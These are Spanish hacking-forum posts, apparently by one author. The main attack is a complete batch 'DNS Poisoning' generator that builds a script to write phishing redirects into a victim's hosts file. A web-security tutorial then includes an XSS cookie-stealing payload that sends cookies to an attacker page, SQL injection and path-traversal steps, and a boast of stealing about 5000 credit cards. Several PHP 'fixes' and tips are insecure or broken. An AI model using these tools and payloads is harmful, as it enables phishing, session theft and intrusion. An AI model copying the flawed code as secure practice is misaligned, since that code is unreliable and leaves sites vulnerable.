echo %up%%empty%%title%%line%%empty%%processing%%line%%empty%%author%%empty%%down%
set /p minutes=How much minutes you want to start the shutdown:
if not defined minutes (goto:config)
set /p confirm=Are you sure that you want %minutes% minutes? (Y/N)
if not defined confirm (goto:config)
for %%_ in (Y N) do (
if ["%confirm%"]==["%%_"]  (goto:%confirm%)
)
msg * You inserted a wrong option
goto:1
pause >nul

:Y
mode con cols=51 lines=15
cls
echo %up%%empty%%title%%line%%empty%%processing%%line%%empty%%author%%empty%%down%
set /a finalminutes= %minutes% * 60
echo Shutdown countdown will be started when you press any key, after that this program will close...
pause > nul
shutdown -s -t %finalminutes%
goto:start

:N
goto:1

:2
mode con cols=51 lines=15
cls
echo %up%%empty%%title%%line%%empty%%processing%%line%%empty%%author%%empty%%down%
echo Shutdown countdown will be canceled when you press any key...
pause > nul
shutdown -a
goto:start

:3
mode con cols=51 lines=14
cls
echo %up%%empty%%title%%line%%empty%%processing%%line%%empty%%author%%empty%%down%
echo Press any key to close this program...
pause > nul
exit


Bug:
Si cuando te pide minutos no ingresas un número (no comprobueba si es numérico) se apagará en ese mismo instante.

P.D. Les puede servir a algunos, aunque en realidad todo se resume a abrir CMD y escribir shutdown -s -t XX en donde XX es el tiempo para que se apague, saludos.
#22
Batch - Bash / [BATCH] DNS Poisoning v3.0
Mayo 23, 2011, 04:36:47 PM
Esta vez es otra herramienta batch que te generará otros códigos bat para infectar a la víctima y hacer una redirección de DNS de la página original a la página del atacante (Phishing).

El código esta más depurado y más simple, pero aún no utilize bucles para el diseño:

Código: php
@echo off
color 0A
Title DNS P01s0n1ng v1.0 BETA by X73MP
:menu
cls
echo 

_________________________________________________________________
echo [+]_______________DNS P01s0n1ng v1.0 BETA by

X73MP______________[+]
echo [+]                     /"\         l  __ \                    [+]
echo [+]                     l l_ __  ___l l__) l                   [+]
echo [+]                  / _` l '_ \/ __l  ___/                    [+]
echo [+]              l (_l l l l \__ \ l                        [+]
echo [+]               \__,_l_l l_l___/_l                        [+]
echo [+]          .#~1- Buscar IP del host donde aloja el Scam.      [+]
echo [+]          .#~2- Comenzar a crear el infectador.              [+]
echo [+]          .#~3- Salir.                                       [+]
echo

[+]_____________________________________________________________[+]
echo [+]_______________DNS P01s0n1ng v1.0 BETA by

X73MP______________[+]
set/p var=
if not defined var (goto:menu)
If ["%var%"]==["1"] goto sacarip
If ["%var%"]==["2"] goto crearinfectador
If ["%var%"]==["3"] goto salir
:sacarip
cls
echo 

_________________________________________________________________
echo [+]_______________DNS P01s0n1ng v1.0 BETA by

X73MP______________[+]
echo [+]                     /"\         l  __ \                    [+]
echo [+]                     l l_ __  ___l l__) l                   [+]
echo [+]                  / _` l '_ \/ __l  ___/                    [+]
echo [+]              l (_l l l l \__ \ l                        [+]
echo [+]               \__,_l_l l_l___/_l                        [+]
echo [+]           .#~1- Escribe la url de tu p gina sin www.        [+]
echo

[+]_____________________________________________________________[+]
echo [+]_______________DNS P01s0n1ng v1.0 BETA by

X73MP______________[+]
set /p pagina=
if not defined pagina (goto:sacarip:)
ping %pagina%
ping %pagina% >> ip_de_%pagina%.txt
echo.
echo Presiona una tecla desp£es de haber apuntado la IP.
pause >nul
:crearinfectador
cls
echo 

_________________________________________________________________
echo [+]_______________DNS P01s0n1ng v1.0 BETA by

X73MP______________[+]
echo [+]                     /"\         l  __ \                    [+]
echo [+]                     l l_ __  ___l l__) l                   [+]
echo [+]                  / _` l '_ \/ __l  ___/                    [+]
echo [+]              l (_l l l l \__ \ l                        [+]
echo [+]               \__,_l_l l_l___/_l                        [+]
echo [+]           .#~1- Escribir el nombre del infectador.          [+]
echo

[+]_____________________________________________________________[+]
echo [+]_______________DNS P01s0n1ng v1.0 BETA by

X73MP______________[+]
set /P nombre=
if not defined nombre (goto:crearinfectador)
cls
echo 

_________________________________________________________________
echo [+]_______________DNS P01s0n1ng v1.0 BETA by

X73MP______________[+]
echo [+]                     /"\         l  __ \                    [+]
echo [+]                     l l_ __  ___l l__) l                   [+]
echo [+]                  / _` l '_ \/ __l  ___/                    [+]
echo [+]              l (_l l l l \__ \ l                        [+]
echo [+]               \__,_l_l l_l___/_l                        [+]
echo

[+]_____________________________________________________________[+]
echo [+]_______________DNS P01s0n1ng v1.0 BETA by

X73MP______________[+]
echo .#~1- ¨Est s seguro de ponerle %nombre%?.         
echo [+]            .#~1- S¡.                                        [+]
echo [+]            .#~2- N¢.                                        [+]             
set /P r=
if not defined r (goto:crearinfectador)
cls
if %r%==1 (goto crearinfectador2)
if %r%==2 (goto crearinfectador)
:crearinfectador2
cls
echo 

_________________________________________________________________
echo [+]_______________DNS P01s0n1ng v1.0 BETA by

X73MP______________[+]
echo [+]                     /"\         l  __ \                    [+]
echo [+]                     l l_ __  ___l l__) l                   [+]
echo [+]                  / _` l '_ \/ __l  ___/                    [+]
echo [+]              l (_l l l l \__ \ l                        [+]
echo [+]               \__,_l_l l_l___/_l                        [+]
echo [+]         .#~1- Escribe la IP de tu scam sin http://www.      [+]
echo [+]         .#~2- Ejemplo: 127.0.0.1                             [+]
echo

[+]_____________________________________________________________[+]
echo [+]_______________DNS P01s0n1ng v1.0 BETA by

X73MP______________[+]
echo.
set /P ip=
if not defined ip (goto:crearinfectador2)
goto crearinfectador3
:crearinfectador3
cls
echo 

_________________________________________________________________
echo [+]_______________DNS P01s0n1ng v1.0 BETA by

X73MP______________[+]
echo [+]                     /"\         l  __ \                    [+]
echo [+]                     l l_ __  ___l l__) l                   [+]
echo [+]                  / _` l '_ \/ __l  ___/                    [+]
echo [+]              l (_l l l l \__ \ l                        [+]
echo [+]               \__,_l_l l_l___/_l                        [+]
echo [+].#~1- Escribe la URL de la p gina a infectar win http://www..[+]
echo [+].#~2- Ejemplo: xtemp.org                                     [+]
echo

[+]_____________________________________________________________[+]
echo [+]_______________DNS P01s0n1ng v1.0 BETA by

X73MP______________[+]
echo.
set /P pag=
if not defined pag (goto:crearinfectador3)
goto crearinfectador4
:crearinfectador4
cls
echo 

_________________________________________________________________
echo [+]_______________DNS P01s0n1ng v1.0 BETA by

X73MP______________[+]
echo [+]                     /"\         l  __ \                    [+]
echo [+]                     l l_ __  ___l l__) l                   [+]
echo [+]                  / _` l '_ \/ __l  ___/                    [+]
echo [+]              l (_l l l l \__ \ l                        [+]
echo [+]               \__,_l_l l_l___/_l                        [+]
echo

[+]_____________________________________________________________[+]
echo [+]_______________DNS P01s0n1ng v1.0 BETA by

X73MP______________[+]
echo .#~1- ¨Est s seguro de estos datos %ip% / %pag%?.         
echo [+]            .#~1- S¡.                                        [+]
echo [+]            .#~2- N¢.                                        [+]
set /P fin=
if not defined fin (goto:crearinfectador4)
if %fin%==1 (goto finalizar)
if %fin%==2 (goto crearinfectador4)
cls
:finalizar
cls
echo 

_________________________________________________________________
echo [+]_______________DNS P01s0n1ng v1.0 BETA by

X73MP______________[+]
echo [+]                     /"\         l  __ \                    [+]
echo [+]                     l l_ __  ___l l__) l                   [+]
echo [+]                  / _` l '_ \/ __l  ___/                    [+]
echo [+]              l (_l l l l \__ \ l                        [+]
echo [+]               \__,_l_l l_l___/_l                        [+]
echo [+]            .#~1- Finalizando creaci¢n del Batch.            [+]
echo

[+]_____________________________________________________________[+]
echo [+]_______________DNS P01s0n1ng v1.0 BETA by

X73MP______________[+]
echo ^@echo off>>%nombre%.bat
echo cd %windir%\System32\drivers\etc>>%nombre%.bat
echo echo %ip% %pag%^>^>hosts>>%nombre%.bat
echo echo %ip% www.%pag%^>^>hosts>>%nombre%.bat
echo echo %ip% http://%pag%^>^>hosts>>%nombre%.bat
echo echo %ip% http://www.%pag%^>^>hosts>>%nombre%.bat
echo Creaci¢n del Batch que infectara perfectamente en:
echo %windir%\System32\drivers\etc\hosts
echo.
echo Gracias por usar este progama.
echo [email protected]
pause>nul
:salir
exit
exit


Y si se infectaron con este código se desinfectarán:

Código: php
@echo off
color 0A
Title Anti-DNS P01s0n1ng v1.0 BETA by X73MP
:menu
cls
echo  _________________________________________________________________
echo [+]____________Anti-DNS P01s0n1ng v1.0 BETA by X73MP____________[+]
echo [+]    /\           l l         l  __ \               [+]
echo [+]            /  \ ______ __l l_ __  ___l l__) l              [+]
echo [+]           / /\ \______/ _` l '_ \/ __l  ___/               [+]
echo [+]       / ____ \    l (_l l l l \__ \ l                   [+]
echo [+]      /_/    \_\    \__,_l_l l_l___/_l                   [+]
echo [+]            ¨Quieres desinfectar el archivo HOST?            [+]
echo [+]             1- S¡                                           [+]
echo [+]             2- N¢                                           [+]
echo [+]_____________________________________________________________[+]
echo [+]____________Anti-DNS P01s0n1ng v1.0 BETA by X73MP____________[+]
set/p var=
if not defined var (goto:menu)
If ["%var%"]==["1"] goto desinfectar
If ["%var%"]==["2"] goto salir
:desinfectar
cls
echo  _________________________________________________________________
echo [+]____________Anti-DNS P01s0n1ng v1.0 BETA by X73MP____________[+]
echo [+]    /\           l l         l  __ \               [+]
echo [+]            /  \ ______ __l l_ __  ___l l__) l              [+]
echo [+]           / /\ \______/ _` l '_ \/ __l  ___/               [+]
echo [+]       / ____ \    l (_l l l l \__ \ l                   [+]
echo [+]      /_/    \_\    \__,_l_l l_l___/_l                   [+]
echo [+]_____________________________________________________________[+]
echo [+]____________Anti-DNS P01s0n1ng v1.0 BETA by X73MP____________[+]
echo.
echo.
echo ~#.Buscando archivo Host 10%
echo ~#.Eliminando archivo HOST 40%
del  %windir%\System32\drivers\etc\hosts
echo ~#.Creando nuevo archivo Host 90%
cd  %windir%\System32\drivers\etc\
echo # Anti-DNS P01s0n1ng v1.0 BETA by X73MP >> hosts
echo # [email protected] >> hosts
echo 127.0.0.1 localhost >> hosts
REM 72.9.233.146 www.banamex.com.mx >> hosts
echo ~#.Terminando aplicaci¢n 100%
echo ~#. Proceso terminado
pause>nul
:salir
cls
echo  _________________________________________________________________
echo [+]____________Anti-DNS P01s0n1ng v1.0 BETA by X73MP____________[+]
echo [+]    /\           l l         l  __ \               [+]
echo [+]            /  \ ______ __l l_ __  ___l l__) l              [+]
echo [+]           / /\ \______/ _` l '_ \/ __l  ___/               [+]
echo [+]       / ____ \    l (_l l l l \__ \ l                   [+]
echo [+]      /_/    \_\    \__,_l_l l_l___/_l                   [+]
echo [+]_____________________________________________________________[+]
echo [+]____________Anti-DNS P01s0n1ng v1.0 BETA by X73MP____________[+]
echo.
echo.
echo Hasta la pr¢xima.
echo [email protected]
pause
exit


P.D. El código es viejo, saludos.
#23
Back-end / Un par de tips caseros
Enero 27, 2011, 09:31:08 AM
Algunas funciones y tips para mejorar su web.
------------------------------------------------
Hace poco esta adentrandome más en PHP y encontré (mejor dicho, recordé) una función parecida a la etiqueta FORM METHOD en modo GET de HTML que lo que hace es mostrar ó añadir los argumentos (en este caso los inputs) del formulario por una URL, ejemplo:

Código: html5

<html>
<head>
<title>Form</title>
</head>
<body>
<form action="" METHOD="GET">
Nombre: <input type="text" name="name" id="name"><br /> <!-- Xt3mP -->
Edad: <input type="text" name="age" id="age"><br /> <!-- 17 -->
Mail: <input type="text" name="mail" id="mail"><br /> <!-- [email protected] -->
Pais: <input type="text" name="country" id="country"><br /> <!-- Mexico -->
<input type="submit" value="Enviar">
</form>
</body>
</html>


Y que al dar enviar nos generaría una URL algo así: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, es decir, nos muestra todas los "inputs" en la variable.

Entonces con PHP hay una función llamada http_build_query() que apartir de un array asociativo ó indexado, nos generaría una "cadena" al estilo de GET como mencioné anteriormente:

Código: php

<?php
$datos = array("name" => "Xt3mP", "age" => "17", "mail" => "[email protected]", "country" => "Mexico");
echo "www.web.com/path/?".http_build_query($datos);
/*
Daria:
www.web.com/path/?name=Xt3mP&age=17&mail=Xt3mP%40und3rgr0und.org&country=Mexico
*/
?>


Como ven, hace "prácticamente" lo mismo, esto puede servir en caso de que tengamos muchos "switchs" ó si tenemos alguna página que necesite agregar los argumentos en la URL ya que no podemos hacer un "switch" para cada parámetro, entonces creamos un array con los datos que ocuparémos y listo, la verdad a mi me funciona mucho, espero les sirva.
------------------------------------------------
Limpiar variables con carácteres raros.

Cuantas veces no nos ha pasado que tenemos algún sistema de usuarios ó algún sistema de registros en donde el usuario tiene que facilitar su nickname (nombre de usuario) y al revisar el registro ó base de datos nos encontramos con carácteres raros que pueden dejarnos vulnerables, entonces hice una función que "limpia" literalmente los carácteres raros de la siguiente manera:

Código: php

<?php
function limpiar_texto($texto){
$car = array("\\","ª","º","-","~","#","@","|","!","\"","·","$","%","&","/","(",")","?","'","¡","¿","[","^","`","]","+","Ç","}","{","¨","´","ñ","Ñ",">","<",";",",",":","."," ","á","é","í","ó","ú","Á","É","Í","Ó","Ú","à","â","ã","À","Â","Ã","è","ê","ì","î","Ì","Î","ò","ô","õ","Ò","Ô","Õ","ù","û","Ù","Û");
$texto = str_replace($car, "", $texto);
return $texto;
}
echo limpiar_texto($_GET['casilla_de_texto']);
/*
xTÉèêemP daria:
xTemP
*/
?>


Entonces, simplemente hacer un include a las funciones y agregar la que les facilité arriba y así limpiamos los carácteres raros, inclusive pueden quitar ó agregar carácteres en el array dependiendo lo que necesiten.
------------------------------------------------
Saber quien nos está queriendo fastidiar la web.

Muchas veces al filtrar las variables no se guarda en la base de datos los carácteres raros que pueden ser vulnerables hacia nuestra web, pero ¿Entonces como localizaríamos a aquellos que nos quieren joder? Fácil.

Suponiendo que es un registro:

Código: php

<?php
include ("connect.php"); //Incluimos la conexion a la DB
$user = $_POST['user'];
$pass = $_POST['pass'];
$mail = $_POST['mail'];
$ip = $_SERVER[REMOTE_ADDR];
mysql_query("INSERT INTO users (user,pass,mail,ip) values ('".$user."','".$pass."','".$mail."','".$ip."') ") or die (mysql_error());
echo "Hola ".htmlentities($user).", te has registrado correctamente.";
?>


Introducimos los datos a la base de datos sin filtrar las variables y mostramos en pantalla filtrandolas, te preguntarás ¿Por qué? Así suponiendo que el usuario escribe algo como "<h1>Xt3mP</h1>", así igualmente aparecería en la base de datos junto con la IP, de esta manera sabremos quien nos esta queriendo joder las "balls", obviamente al mostrarlo en pantalla le metemos un htmlentities(), bueno, a mi me sirve, he pillado a muchos que han querido joderme.
------------------------------------------------
Usuarios autorizados.

A veces (He visto), que una parte de las páginas web online te piden autorización para ciertas páginas, digamosle panel_adm.php ¡PERO!, si entramos (ejemplo) a panel_adm_addusers.php da la casualidad que hay no te pide autorización del sitio y queda totalmente a la merced del usuario atacante.

Les recomiendo hacer una función ó comprobar (como lo haré en este caso) que siempre que sea una página crítica solo personal autorizado pueda acceder a ella:

Código: php

<?php
session_start(); //Inicia la session, si existe la retoma, si no existe la crea.

if ($_SESSION['admin'] != TRUE){ //Comprobamos que la sesion ADMIN sea verdadera, recuerden que != significa diferente a.
echo "No autorizado";
}else{

//Toda la web aqui

}
?>

------------------------------------------------
Encriptación de contraseñas.

A veces la encriptación de contraseñas con "hashes" se nos hace un poco díficil ya que es one-way, es decir, solo encriptan más no tiene función para desencriptar a menos que sea con "brutus force" mediante encriptando la contraseña en el mismo tipo de encriptación y comparar si la contraseña encriptada es igual a la que encriptamos, es decir:


Si la contraseña encriptada del usuario es: 21fa33e4fb9fa3f1da10f7c17823e7e8

El atacante al obtener esa contraseña y darse cuenta por obvias razones que es md5, utilizará alguna herramienta tanto online como offline que funcionan de la siguiente manera:

Encriptar: Text1 = 1c06e3d86536d0eb8903da08af433909
Encriptar: Text1 = eb396671a7de43af3a9b5afaceb1514b
Encriptar: Xt3mP = 21fa33e4fb9fa3f1da10f7c17823e7e8 (Bingo) Nos vota exáctamente el mismo hash por lo tanto esa sería la contraseña.

En terminos básicos, para desencriptar un hash one-way se hace a la reversa literalmente, encriptas el texto lo cual hará que nos genere un hash y ya obteniendo ese hash lo comparas con el hash de la contraseña.

Así que almenos yo encripto la contraseña de manera muy, mmm como decirlo, que sea díficil de descifrarla:

Código: php

<?php
$pass = "Xt3mP";
$pass = base64_encode(md5(md5(sha1(crypt(md5($pass),"s523/*a5s4s"))).$pass));
echo $pass;
/*
Daria:
Y2YzOWUxYzNkZWZiZGExYmU3OTUyNDk2MmE0YjhiNTA=
*/
?>


Ya al momento de querer cambiar la contraseña hay sería lo díficil, porque tendrías que crear un sistema de reseteo de contraseña mediante la introducción de la fecha de nacimiento, pregunta privada, etc.

Nota: Y sí, puse base64 para que cuando el atacante la vea sepa que le estoy jugando una pequeña bromita =).
------------------------------------------------
Ultimo tip y el más importante.

Es un frase:

"No por tener menos código significa que sea mejor."

Creo que le entienden, se refiere a que no por tener reducido todo en un solo PHP (y gracias a esto cometer un error de programación) significa que el script vaya a ser mejor ó más rápido, usen la cantidad de archivos que realmente necesiten.
------------------------------------------------
Saludos.
#24
Proteccion y seguridad a nivel web, version 1.

Punto es: explicar "PORQUE" existe o se puede llevar a cabo la vulnerabilidad y una vez explicada, explicar como parcharla.

Cabe mencionar que no explicare ni dire todas las vulnerabilidades a nivel web por tres razones:

1- Falta de tiempo.
2- No puedo hacer un post demasiado largo, perderia el toque, en proximas versiones tal vez explique otras.
3- Al aprender el porque y como parchar unas cuantas, estoy seguro que cuando encuentren otra en su sitio web sabran parcharla.

Por lo que solo explicare las mas "comunes/tipicas".
------------------------------------------------------------
XSS/HTML Injection
------------------------------------------------------------
XSS (Cross Site Scripting), se le denomina XSS para no confundir con las hojas de estilo (CSS), la vulnerabilidad se explota mediante la inyeccion de codigo "script/scripting" en alguna variable tanto POST como GET.

HTML Injection (Inyeccion HTML), la vulnerabilidad se explota mediante la inyeccion de codigo (principalmente HTML) en alguna variable tanto POST como GET.

¿Que tienen de diferencia? Que XSS hace correr script (Ej: <script>alert('XSS');</script>) y por otro lado, HTML Injection hace correr tags literalmente (Ej: <marquee>HTMLi</marquee>, <table></table>, <iframe></iframe>, etc).

Puse las dos juntas en el mismo subtitulo ya que la forma en que se pueden parchar se pueden utilizar para las dos. Tomare de ejemplo el siguiente "buscador":

Código: php

<?php
$buscar = $_GET['buscar'];
echo "La busqueda de: ".$buscar." no encontro ningun resultado";
/*
En donde si ponemos tanto script como tags se ejecutaria en la misma pagina
*/
?>


Entonces, ¿Como se parcharian estos tags? PHP te brinda 3 funciones escenciales, las cuales son strip_tags(), y htmlentities().
strip_tags() = Elimina las etiquetas de los tags (<h1>test</h1> = test);
htmlentities() = Obtiene los tags de la inyeccion y evita que se ejecute. (<h1>test</h1> = <h1>test</h1>);

Pueden utilizar cualquiera

Podemos hacerlo directamente:
Código: php

<?php
$buscar = strip_tags(htmlentities($_GET['buscar']));
echo "La busqueda de: ".$buscar." no encontro ningun resultado";
/*
En donde si ponemos <h1>Vulnerable</h1> votaria exactamente:
La busqueda de: <h1>Vulnerable</h1> no encontro ningun resultado

En donde si ponemos <table border="0"> votaria exactamente:
La busqueda de: <table border="0"> no encontro ningun resultado
Como se puede apreciar ya no se ejecutaron los tags.
?>


Generalmente se utiliza una inyeccion HTML solo para fastidiar al programador, por otro lado, con XSS se pueden hacer cosas interesantes como el robo de cookies, la verdad no pretendo enseñarles a como llevar acabo una vulnerabilidad si no como parcharla, asi que les dare solo un breve ejemplo de un robo de cookies:

Nota: No explicare mediante codigo esta vulnerabilidad ya que no se trata de "incitarlos" a que lo hagan, si no a parcharlo.

Un robo de cookies mediante XSS se caracteriza (su nombre lo dice todo) por "inyectar" en la vulnerabilidad mediante script un codigo que al ser enviado (en este caso a un supuesto administrador) y dar click en el enlace, automaticamente se envia un correo (esto depende de la pagina atacante) con la cookie del Administrador, posteriormente con algun editor de cabezeras (el mejor para mi es Tamper DATA) se cambia la cookie de sesion nuestra por la que obtuvimos por el administrador y listo, sesion de Administrador robada:

Citar
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta<script>window.location=?No tienes permitido ver los links. Registrarse o Entrar a mi cuenta? document.cookie</script>

Ya solo es cuestion de agarrar la variable "cookie" en este caso y guardarla (tanto en .txt como correo), solo seria cuestion de disfrazar y meterle ingenieria social, y para parcharlo con las funciones de arriba se lleva acabo.
Es algo interesante este par de vulnerabilidades ya que sabiendo utilizarlas se puede hacer algo de daño, asi que si son vulnerables, es hora de que lo dejen de ser.
------------------------------------------------------------
SQL Injection
------------------------------------------------------------
SQL Injection [Inyeccion SQL (Structured Query Language)], se caracteriza por no filtrar la peticion a la base de datos conllevando con esta, un error en la implementacion del valor a "pedir" y asi exponiendo el codigo, es decir, que gracias a una mala estructuracion/programacion del codigo para hacer una peticion (no filtrar las variables) se puede explotar dejando asi toda la base de datos a la vista del atacante.

Aqui entra algo de polemica, la mayoria solo cree que una inyeccion SQL siempre sera: -1 SELECT UNION 1,2--, pero no, existen muchos tipos de inyecciones SQL pero en este caso indicaremos como parchar la "tipica".

Un ejemplo de una mala estructuracion es (es parecida al error de la vulnerabilidad XSS/HTMLi), suponiendo que el link seria No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Código: php

<?php
include("connect.php"); //Conexion a la base de datos
$id = $_GET['id']; //Obtenemos el ID
$query = mysql_query("SELECT * FROM noticias WHERE id=".$id." "); //Hacemos la peticion
/*
web.com/noticia_id.php?id=-1 pediria la peticion como:
$query = mysql_query("SELECT * FROM noticias WHERE id=' ")
Y mostraria un error como este:
You have an error in your SQL syntax; check the manual that corresponds toyour MySQL server version for the right syntax to use near '' at line 1
*/
?>


Daria error, entonces al intentar acceder como (-1 UNION SELECT 1) daria:
Citar
The used SELECT statements have a different number of columns

Entonces asi podemos ir explotando la vulnerabilidad hasta obtener datios valiosos (en una experiencia personal, logre obtener cerca de 5000 tarjetas de credito).

Viene lo agradable ¿Como parcharla? como se han dado cuenta, se lleva acabo por una mala peticion en el codigo, entonces asi como PHP nos brinda funciones para filtrar, SQL tiene una por su lado que es mysql_escape_string() que con este filtraremos el GET, tambien podemos comprobar que exista la noticia antes de mostrarse, este seria el codigo:

Código: php

<?php
include("connect.php"); //Conexion a la base de datos
$id = strip_tags($_GET['id']); //Obtenemos el ID

if (is_numeric($id)){ //Comprobamos que sea numerico

$query = mysql_query("SELECT * FROM noticias WHERE id=".mysql_escape_string($id)." "); //Hacemos la peticion

if ($row = mysql_fetch_array($query)){ //Comprobamos que exista
echo "Noticia: ".$row['titulo']."<br />";
}else{
echo "La noticia no existe";
}
}else{
echo "La noticia no existe";
}
?>


¿Que hacemos? Incluimos la conexion a la base de datos, obtenemos el ID por GET y lo filtramos, comprobamos si es numerico el ID, hacemos la peticion filtrada con mysql_escape_string(), comprobamos que exista la noticia, por otro lado, si no es numerico y no existe la noticia te marcara un error (echo...).
Asi de sencillo parchamos (mejor dicho, hacemos menos posible la vulnerabilidad) SQL Injection.
------------------------------------------------------------
Full Path Disclosure
------------------------------------------------------------
Esta vulnerabilidad en lo personal me agrada, ¿Por? Porque por un pequeño error en el codigo te muestra el "Full Path", es decir, con un error que nos tire te muestra todos los paths por donde pasa el script, generalmente sucede en descargas ya que no filtramos muy bien la ruta de los archivos y dejamos al descubierto todos los directorios, por ejemplo:

Suponiendo que nuestra pagina tiene un link para descargar los archivos que nosotros indiquemos, algo como:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Entonces como vemos hace un "query" practicamente al archivo a descargar, pero que sucede si nosotros recorremos el path con los comandos que tal vez conozcas (.. , ., etc) para recorrer o avanzar directorios, quedaria algo asi:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Citar
Warning: fopen(testing) [function.fopen]: failed to open stream: No such file or directory in
/var/www/name/html/descargar.php on line 5

Y como vemos, en este caso es "/var/www/name/html/admin/", cuando una web es vulnerable, el atacante comunmente busca el archivo /etc/passwd por default, entonces la url quedaria:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

En donde cada ../ es una carpeta anterior, todo depende de donde este situado esta vulnerabilidad, te preguntaras, ¿Pero en que nos afecta?
En que si nosotros ingresamos por (suponiendo que tengamos una carpeta llamada admin):

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Se nos descargaria el "Script" completo del admin y seria cuestion de ir jugando con los archivos para ver que otras vulnerabilidades tienen.

¿Como parchar? Para wordpress existe (este codigo no es mio, pero esta muy conocido en la red):

Citarif(function_exists('add_action')){
[...]
}

Y por mi parte las recomendaciones serian:

1.- Evitar mostrar el error en pantalla, tanto modificando el php.ini como editando todo archivo para que no muestre error, o bien agregando error_reporting(0);
2.- Si haran descarga de archivos "web.com/descargar.php?file=" seria preferible que mejor pongan:
2.1- Descargas directas: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta"
2.2- Hacer un array o switch para cada "case" y no poner directamente el nombre (archivo.php) si no alguna abreviacion como
web.com/descargar.php?file=videos_anio_nuevo y ya con un "file_exists()" comprobamos la existencia del archivo.
3.- Si bien deciden dejar el script asi, pueden implementar un codigo mas o menos de esta manera para fijar el directorio en una carpeta en especifico y comprobar la existencia de este, claro esta, tambien sustituimos los caracteres (".","/") que son los usuales en estos casos:

Código: php

<?php
$file = str_replace(array('.','/'),'',$_GET['file']);
$file = "./".$file; //Indicamos con el ./ que el fichero debe encontrarse en el mismo directorio.
if (!file_exists($file)){
echo "No intentes bugear";
}else{
header("Content-type: application/octet-stream");
header("Content-Disposition: attachment; filename="$file"n");
$filepath=fopen("$file", "r");
fpassthru($filepath);
}
?>

------------------------------------------------------------
RFI/LFI
------------------------------------------------------------
RFI (Remote File Inclusion), consiste en como su nombre lo dice, incluir archivos remotamente en el servidor.
LFI (Local File Inclusion), consiste en como su nombre lo dice, incluir archivos localmente en el servidor.

Estas vulnerabilidades antes eran muy tipica, pero conforme PHP fue avanzando de version fueron "mas dificiles" encontrarnos con una.
Lo explicare brevemente ya que es parecido lo mismo que Full Path Disclosure.

Para RFI:
Suponiendo que tenemos una pagina llamada No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y tenemos un codigo parecido a este:
Código: php

<?php
$file = $_GET['path'];
include ($path);
?>


Como se observa, incluimos directamente el GET sin filtrarlo ni comprobar que exista, entonces ¿Por que les puede perjudicar?
Si yo en su pagina hago No tienes permitido ver los links. Registrarse o Entrar a mi cuenta ¿Que pasaria? Se incluiria en su pagina mi script malicioso y tendria acceso a todo su servidor/hosting ocasionando que yo pueda malusa resta vulnerabilidad y destrozarles su pagina (cosa que nunca hago).

Para LFI:
Suponiendo que tenemos la misma pagina, pero ahora si filtramos el archivo y comprobamos que exista de esta manera:
Código: php

<?php
$file = $_GET['path'];
if (file_exists($file)){
include ($path);
}else{
echo "No intentes buggear";
}
?>


Aqui pasariamos de nuevo con el Full Path Disclosure, comenzamos a "navegar" con "../" , "./" hasta encontrar algun archivo vulnerable y comenzar a atacar.

¿Como parcharlo?
Esta manera que explicare sera para las dos vulnerabilidades:
Código: php

<?php
$file = str_replace('/','',$_GET['path']);
$file = "./".$file;
if (file_exists($file)){
include ($path);
}else{
echo "No intentes buggear";
}
?>


Como se observa, se utiliza "casi" la misma manera de parchar el Full Path Disclosure, solo es cuestion de que analizen su codigo linea por linea.
------------------------------------------------------------
Tips
------------------------------------------------------------
Les dare un par de tips para hacer segura su web que en lo personal me han servido de mucho:
1.- Si se trata de sesiones, comprobar en "cada pagina" que solo usuarios autorizados puedan acceder.
2.- Filtrar todas y cada una de las variables.
3.- Generar "errores" marcados por nosotros, por ejemplo:

Código: php

<?php
$error = array('Error de existencia', 'Error numerico');
if (file_exists($archivo)){
//Todo el codigo
}else{
$file = fopen("error.txt", 'a '); //Permisos de escritura y lectura con a
fwrite($file, '
Error: '.$error[0].' a las: '.date('r').' de la IP: '.$_SERVER[REMOTE_ADDR].'n');
fclose($file);
}

if (is_numeric($id)){
// Todo el codigo
}else{
$file = fopen("error.txt", 'a '); //Permisos de escritura y lectura con a
fwrite($file, '
Error: '.$error[1].' a las: '.date('r').' de la IP: '.$_SERVER[REMOTE_ADDR].'n');
fclose($file)
}
?>


4.- Evitar mostrar errores en pantalla mediante "@" ejemplo:

Código: php

<?php
$file = @fopen('index.php','a ');
@fwrite($file, 'Xt3mP');
@fclose($file);
?>


5.- Entre otros
------------------------------------------------------------
Espero que este manual les haya aclarado muchas dudas, y para los que digan que ya existen otros noten la diferente entre "Como hacerlo/Parcharlo" y "Porque sucede eso".
P.D: En la proxima version hablare sobre otras vulnerabilidades, entre ellas asp injection.
P.D.2: Si se me paso algo o escribe algo mal fue porque lo escribo continuamente sin descansar y a veces se confunde uno.
Saludos.
------------------------------------------------------------
#25
Bueno, vi un post de eDeex en donde tiene una tabla, pero me acorde de otra página web que es muchísimo mejor, miren:


Link:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos.
#26
Como muchos ya sabran, PHP tiene funciones y/o arrays/matrices agradables, una de ellas (de las más básicas) es la de sabe que navegador/agente utiliza el visitante.

El nombre asociativo del array $_SERVER es HTTP_USER_AGENT y se emplea de la siguiente forma:

Código: php

<?php
$funcion = $_SERVER[HTTP_USER_AGENT];
echo $funcion;
?>


Como podran darse cuenta, así de sencillo es esto, pero te preguntaras: ¿Cómo le hago para mostrar un "x" mensaje por navegador?, para eso empleamos otra función llamada "strstr" y la emplearémos con la del agente de esta manera:

Código: php

<?php
$funcion = $_SERVER[HTTP_USER_AGENT];
if(strstr($funcion, "Mozilla")){
echo  "Su navegador es Mozilla";
}elseif(strstr($funcion "MSIE")){
echo  "Su navegador es Internet Explorer";
}
?>


Solo es cuestión de que vayan variando el código, simple y sencillo, saludos.
#27

Hola, ¿qué tal?, el siguiente post fue creado a petición de un amigo mío y se trata nada más ni nada menos que un menú sencillo en CSS fácil de adaptar y/o modificar a su gusto.

Si tienes alguna duda de los conceptos básicos del CSS puedes tomar de referencia el post anterior en donde explico como "maquillar" formularios con CSS (en este post se explican que son ids, etc).

En mi caso solo utilizaré un solo archivo HTML pero cuando se trata de una web más grande se recomienda incluír el archivo CSS con el siguiente código:

Código: html5
<link type="text/css" rel="stylesheet" href="directorio/tunombre.css">


